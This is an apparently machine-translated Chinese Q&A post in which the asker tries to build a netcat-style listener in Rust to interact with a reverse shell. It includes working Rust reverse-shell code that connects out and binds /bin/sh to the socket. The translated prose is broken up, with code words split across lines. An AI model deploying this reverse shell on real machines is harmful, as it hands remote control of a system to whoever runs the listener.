OpenBSD的 Netcat implementation在具有unix_bind()
的端口上侦听...基本上与Rust的TcpListener::bind()
相同。在编写listen
函数(模拟nc -l -p <port>
)时,我迷失的是如何与反向shell交互。
听起来似乎很琐碎,我希望listen
像sh-3.2$
一样给我nc -l -p <port>
提示。我在网上挖掘的所有Netcat-Rust实施都不允许我与此类反向shell进行交互。
反向shell代码(机器1):((改编自我几年前问过的this question)
fn reverse_shell(ip: &str, port: &str) {
let s = TcpStream::connect((ip, port)).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn().unwrap().wait().unwrap();
}
收听代码(机器2):
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
// How do I interact with the shell now??
}
Rust代码具有一定的简单性和优雅性,可以帮助我简洁地了解正在发生的事情,这就是为什么我不想只从Netcat复制C代码。
[基本上,我们希望有两个双向重定向-一个从stdin
到stream
,另一个从stream
到stdout
。